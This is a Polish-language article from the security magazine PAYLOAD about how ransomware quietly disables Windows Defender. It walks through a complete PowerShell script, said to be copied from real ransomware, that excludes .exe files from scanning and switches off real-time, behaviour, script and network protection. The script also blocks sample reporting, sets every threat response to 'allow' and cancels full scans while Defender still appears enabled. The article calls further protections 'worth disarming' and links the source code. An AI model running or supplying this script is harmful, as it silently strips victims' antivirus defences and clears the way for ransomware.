Jak wirusy wyłączają Windows Defendera?

payload.pl 3 lat temu

Pewnie niejednokrotnie czytałeś artykuły o tym, iż Windows Defender jest najlepszym (czy wręcz jedynym potrzebnym) programem antywirusowym, bo jest ściśle zintegrowany z Windows. A z drugiej strony teksty, iż antywirusy komercyjne biją go na głowę. Kto ma rację?

Naszym zdaniem, Windows Defender jest lepszy niż nic. I rzeczywiście lepszy niż większość antywirusów z licencjami typu Free lub Personal Use. Albo chińskich wynalazków udających antywirusy. Z drugiej strony, programy płatne typu ESET, Kaspersky czy F-Secure, biją go na głowę nie tylko poziomem bezpieczeństwa, ale i funkcjonalnością, czy łatwością obsługi.

Ale nie o tym jest ten artykuł.

Dzisiaj przyjrzyjmy się, dlaczego Windows Defender jest nieskuteczny w walce z ransomware i w jaki sposób wirusy wyłączają ochronę systemu przed infekcją i rozpoczęciem szyfrowania plików.

Co to w ogóle znaczy "wyłączyć Windows Defendera"?

Od tego pytania należy zacząć. Windows Defender jest bowiem zaprojektowany w ten sposób, aby pełnić rolę domyślnego antywirusa, pozwalając jednocześnie na instalację innego antywirusa - wówczas cały Windows Defender, bądź jego poszczególne funkcjonalności ulegają automatycznej dezaktywacji.

Z punktu widzenia skutecznej infekcji, kluczowe jest wyłączenie go w taki sposób, aby nie dowiedział się o tym zalogowany użytkownik, bądź administrator, do którego w czasie rzeczywistym trafiają logi z podległych serwerów.

Dlatego też proste metody całkowitego wyłączenia dzięki GPO lub rejestru, wymagające w dodatku restartu komputera i inicjujące mechanizmy powiadamiania, iż "warto włączyć ochronę antywirusową", będą raczej niewystarczające - bo ich użycie bez faktycznej instalacji innego antywirusa spowoduje cały szereg ostrzeżeń dla użytkownika.

Powershell

Z punktu widzenia autorów wirusów, niewątpliwą zaletą Windows Defendera jest jego API w języku Powershell. API to jest teoretycznie bezpieczne, ponieważ do jakichkolwiek zmian ustawień potrzebne są uprawnienia administratora - jeżeli jednak jakiś wirus (lub dowolny inny program) zdoła takie uprawnienia pozyskać, choćby jednorazowo i na chwilę, może wywołać całą serię wywołań API, które kolejno dezaktywują lub osłabią wybiórcze funkcje programu tak, aby ogólnie on przez cały czas działał.

Zacznijmy jednak od prostego przykładu, pokazującego ustawienia bieżące (polecenie to działa również bez praw administratora):

powershell.exe -command "Get-MpPreference"

Zanim przejdziemy dalej, warto rzucić okiem na bardzo szczegółową dokumentację tego API na stronie Microsoftu:

Jak widać w dokumentacji, możliwe jest takie skonfigurowanie Windows Defendera, aby ten przez cały czas działał, aktualizował się i choćby chronił pliki systemowe - zaś Windows pokazywał użytkownikowi, iż ochrona jest włączona - a jednocześnie aby była możliwa realizacja celów wirusa, czyli np. szybkie zaszyfrowanie danych użytkownika.

Więc jak to robi realny wirus?

Omówione niżej linie kodu to kopia 1:1 skryptu będącego częścią realnego rozwiązania ransomware. Prześledźmy więc, w jaki sposób prawdziwe ransomware po kolei rozbraja Windows Defendera.

1. Dodanie rozszerzenia "exe" do listy wyjątków - dzięki temu Windows Defender nie będzie w ogóle sprawdzał plików wykonywalnych. W dalszej części można więc będzie bezpiecznie ściągnąć i uruchomić pliki binarne, składające się na całość rozwiązania.

powershell.exe -command "Add-MpPreference -ExclusionExtension ".exe""

2. Wyłączenie ochrony folderów użytkownika przed nieautoryzowanym dostępem przez skrypty i programy (np. przed ransomware):

powershell.exe -command "Set-MpPreference -EnableControlledFolderAccess Disabled"

3. Wyłączenie wykrywania aplikacji potencjalnie niepożądanych (Potentially Unwanted Applications; aplikacji, które nie są bezpośrednio wirusami, ale których obecność może być pośrednio zagrożeniem dla komputera lub sieci):

powershell.exe -command "Set-MpPreference -PUAProtection disable"

4. Wyłączenie ochrony w czasie rzeczywistym:

powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"

5. Wyłączenie monitoringu niepożądanych zachowań programów:

powershell.exe -command "Set-MpPreference -DisableBehaviorMonitoring $true"

6. Wyłączenie funkcji Block at First Sight - czyli w istocie przekazywania podejrzanych plików na serwery Microsoftu:

powershell.exe -command "Set-MpPreference -DisableBlockAtFirstSeen $true"

7. Wyłączenie skanowania plików ściąganych z Internetu:

powershell.exe -command "Set-MpPreference -DisableIOAVProtection $true"

8. Wyłączenie "privacy mode", czyli trybu, w którym informacje o wykrytych zagrożeniach są pokazywane tylko administratorom. Po wyłączeniu go, Windows Defender zacznie pokazywać historię wykrytych zagrożeń każdemu zalogowanemu użytkownikowi. Trochę nas to dziwi - ale tak to sobie wymyślił twórca wirusa.

powershell.exe -command "Set-MpPreference -DisablePrivacyMode $true"

9. Ta opcja steruje aktualizacją Windows Defendera po starcie systemu. Takie ustawienie pozwala zaoszczędzić nieco przepustowości łącza, a przy okazji nieco mocy procesora - aby móc poświęcić jej więcej na dokończenie szyfrowania plików po restarcie Windows:

powershell.exe -command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"

10. Wyłączenie skanowania archiwów:

powershell.exe -command "Set-MpPreference -DisableArchiveScanning $true"

11. Wyłączenie monitorowania sieci pod kątem prób exploitacji różnych znanych podatności:

powershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true"

12. Wyłączenie skanowania skryptów:

powershell.exe -command "Set-MpPreference -DisableScriptScanning $true"

13. Te dwie opcje są ze sobą powiązane. Pierwsza wyłącza wysyłanie plików do serwerów Microsoftu. Druga całkowicie wyłącza uczestnictwo w programie Microsoft Active Protection Service:

powershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2"
powershell.exe -command "Set-MpPreference -MAPSReporting 0"

14. Ustawienie reakcji na wykrycie różnych poziomów zagrożeń: zawsze jest to 6, czyli "pozwalaj i ignoruj":

powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6"
powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6"
powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6"

15. Ustawienie harmonogramu pełnego skanowania na "nigdy":

powershell.exe -command "Set-MpPreference -ScanScheduleDay 8"

Efekty

Jak widać, pomimo kilku poleceń wyglądających na dziwne lub niepotrzebne (a być może pozostałych po fazie testów całego rozwiązania), autor dość sprytnie poradził sobie z rozbrojeniem Windows Defendera. Po uruchomieniu powyższego skryptu:

  • binarne pliki wykonywalne *.exe nie są skanowane przed uruchomieniem
  • skrypty też nie
  • ochrona w czasie rzeczywistym przed pozostałymi zagrożeniami jest wyłączona
  • ochrona katalogów użytkownika przed ransomware również
  • ochrona sieci również
  • wszystkie funkcje przekazywania plików na serwery Microsoftu są wyłączone
  • jeśli choćby Windows Defender wykryje jakieś zagrożenie, to nie będzie w żaden sposób reagować
  • nigdy nie będzie wykonywane pełne skanowanie komputera

a mimo tych wszystkich zmian, Windows Defender będzie przez cały czas działać, więc użytkownik nie będzie alarmowany, iż w systemie nie ma aktywnego antywirusa.

Podsumowanie

Powyższy skrypt to oczywiście nie wszystko - aby miał szansę zadziałać, musi być uruchomiony na prawach administratora. A poza samym Windows Defenderem, w systemie Windows istnieją też inne zabezpieczenia warte rozbrojenia przed infekcją, np. SmartScreen - nimi też się zajmiemy.

Kod źródłowy wszystkich omówionych dotychczas części znajdziesz pod tym adresem.


Intencją autorów ani wydawcy treści prezentowanych w magazynie PAYLOAD nie jest namawianie bądź zachęcanie do łamania prawa. jeżeli popełniłeś lub masz zamiar popełnić przestępstwo, bądź masz wątpliwości, czy Twoje działania nie będą łamać prawa, powinieneś skonsultować się z najbliższą jednostką Policji lub Prokuratury, a jeżeli są one związane z pieniędzmi, dla pewności również z Urzędem Skarbowym.

Nie zezwala się na użycie treści prezentowanych w magazynie PAYLOAD, ani produktów dostępnych w sklepie PAYLOAD, do celów popełniania przestępstw lub przestępstw skarbowych.

Idź do oryginalnego materiału